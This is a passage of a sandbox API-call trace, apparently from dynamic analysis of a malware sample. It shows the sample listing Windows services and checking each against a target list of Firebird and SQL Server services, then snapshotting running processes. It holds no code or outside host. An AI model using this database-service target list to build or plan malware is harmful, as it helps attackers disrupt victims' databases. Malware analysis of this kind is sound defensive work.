hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0154.254] CloseHandle (hObject=0x398) returned 1 [0154.254] Sleep (dwMilliseconds=0x1f4) [0154.924] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69dbc8 [0154.924] EnumServicesStatusExW (in: hSCManager=0x69dbc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 0 [0154.925] GetLastError () returned 0xea [0154.946] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c30) returned 0x4244998 [0154.946] EnumServicesStatusExW (in: hSCManager=0x69dbc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4244998, cbBufSize=0x1c30, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4244998, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 1 [0154.947] CloseServiceHandle (hSCObject=0x69dbc8) returned 1 [0154.947] lstrlenW (lpString="Appinfo") returned 7 [0154.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0154.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0154.947] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0154.947] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0154.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0154.947] lstrlenW (lpString="AppXSvc") returned 7 [0154.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0154.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0154.947] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0154.947] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0154.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0154.947] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0154.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0154.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0154.947] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0154.947] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0154.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0154.948] lstrlenW (lpString="Audiosrv") returned 8 [0154.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0154.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0154.948] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0154.948] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0154.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0154.948] lstrlenW (lpString="BFE") returned 3 [0154.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0154.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0154.948] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0154.948] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0154.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0154.948] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0154.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0154.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0154.948] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0154.948] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0154.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0154.948] lstrlenW (lpString="CDPSvc") returned 6 [0154.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0154.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0154.948] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0154.948] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0154.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0154.948] lstrlenW (lpString="ClickToRunSvc") returned 13 [0154.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0154.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0154.948] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0154.948] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0154.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0154.948] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0154.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0154.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0154.949] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0154.949] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0154.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0154.949] lstrlenW (lpString="CryptSvc") returned 8 [0154.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0154.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0154.949] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0154.949] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0154.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0154.949] lstrlenW (lpString="DcomLaunch") returned 10 [0154.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0154.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0154.949] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0154.949] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0154.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0154.949] lstrlenW (lpString="DeviceAssociationService") returned 24 [0154.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0154.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0154.949] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0154.949] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0154.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0154.949] lstrlenW (lpString="Dhcp") returned 4 [0154.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0154.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0154.949] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0154.949] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0154.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0154.949] lstrlenW (lpString="Dnscache") returned 8 [0154.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0154.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0154.949] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0154.949] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0154.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0154.949] lstrlenW (lpString="DPS") returned 3 [0154.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0154.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0154.950] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0154.950] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0154.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0154.950] lstrlenW (lpString="DusmSvc") returned 7 [0154.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0154.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0154.950] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0154.950] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0154.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0154.950] lstrlenW (lpString="EventLog") returned 8 [0154.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0154.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0154.950] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0154.950] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0154.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0154.950] lstrlenW (lpString="EventSystem") returned 11 [0154.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0154.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0154.950] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0154.950] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0154.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0154.950] lstrlenW (lpString="FontCache") returned 9 [0154.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0154.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0154.950] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0154.950] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0154.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0154.950] lstrlenW (lpString="gpsvc") returned 5 [0154.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0154.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0154.950] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0154.950] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0154.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0154.950] lstrlenW (lpString="iphlpsvc") returned 8 [0154.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0154.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0154.951] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0154.951] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0154.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0154.951] lstrlenW (lpString="KeyIso") returned 6 [0154.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0154.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0154.951] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0154.951] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0154.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0154.951] lstrlenW (lpString="LanmanServer") returned 12 [0154.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0154.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0154.951] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0154.951] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0154.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0154.951] lstrlenW (lpString="LanmanWorkstation") returned 17 [0154.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0154.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0154.951] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0154.951] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0154.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0154.951] lstrlenW (lpString="lfsvc") returned 5 [0154.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0154.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0154.951] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0154.951] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0154.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0154.951] lstrlenW (lpString="lmhosts") returned 7 [0154.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0154.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0154.951] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0154.951] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0154.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0154.952] lstrlenW (lpString="LSM") returned 3 [0154.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0154.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0154.952] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0154.952] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0154.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0154.952] lstrlenW (lpString="MpsSvc") returned 6 [0154.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0154.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0154.952] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0154.952] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0154.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0154.952] lstrlenW (lpString="NcbService") returned 10 [0154.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0154.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0154.952] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0154.952] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0154.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0154.960] lstrlenW (lpString="netprofm") returned 8 [0154.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0154.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0154.960] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0154.960] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0154.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0154.960] lstrlenW (lpString="NgcSvc") returned 6 [0154.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0154.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0154.963] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0154.963] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0154.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0154.963] lstrlenW (lpString="NlaSvc") returned 6 [0154.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0154.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0154.963] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0154.963] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0154.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0154.963] lstrlenW (lpString="nsi") returned 3 [0154.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0154.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0154.963] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0154.963] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0154.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0154.963] lstrlenW (lpString="PcaSvc") returned 6 [0154.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0154.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0154.963] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0154.964] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0154.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0154.964] lstrlenW (lpString="PlugPlay") returned 8 [0154.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0154.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0154.964] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0154.964] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0154.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0154.964] lstrlenW (lpString="Power") returned 5 [0154.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0154.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0154.964] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0154.964] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0154.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0154.964] lstrlenW (lpString="ProfSvc") returned 7 [0154.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0154.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0154.964] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0154.964] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0154.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0154.964] lstrlenW (lpString="RpcEptMapper") returned 12 [0154.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0154.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0154.964] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0154.964] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0154.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0154.965] lstrlenW (lpString="RpcSs") returned 5 [0154.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0154.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0154.965] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0154.965] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0154.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0154.965] lstrlenW (lpString="SamSs") returned 5 [0154.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0154.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0154.965] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0154.965] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0154.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0154.965] lstrlenW (lpString="Schedule") returned 8 [0154.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0154.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0154.965] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0154.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0154.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0154.965] lstrlenW (lpString="SecurityHealthService") returned 21 [0154.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0154.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0154.965] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0154.965] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0154.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0154.965] lstrlenW (lpString="SENS") returned 4 [0154.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0154.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0154.966] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0154.966] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0154.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0154.966] lstrlenW (lpString="ShellHWDetection") returned 16 [0154.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0154.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0154.966] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0154.966] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0154.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0154.966] lstrlenW (lpString="Spooler") returned 7 [0154.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0154.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0154.966] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0154.966] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0154.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0154.966] lstrlenW (lpString="StateRepository") returned 15 [0154.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0154.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0154.966] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0154.966] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0154.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0154.966] lstrlenW (lpString="SysMain") returned 7 [0154.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0154.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0154.966] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0154.967] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0154.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0154.967] lstrlenW (lpString="SystemEventsBroker") returned 18 [0154.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0154.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0154.967] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0154.967] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0154.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0154.967] lstrlenW (lpString="Themes") returned 6 [0154.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0154.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0154.967] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0154.967] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0154.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0154.967] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0154.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0154.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0154.967] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0154.967] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0154.967] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4244998 | out: hHeap=0x660000) returned 1 [0154.967] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0154.970] Process32FirstW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.971] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0154.971] lstrlenW (lpString="System") returned 6 [0154.971] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0154.972] lstrlenW (lpString="smss.exe") returned 8 [0154.972] Process32NextW (in: hSnapshot=0x378, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, 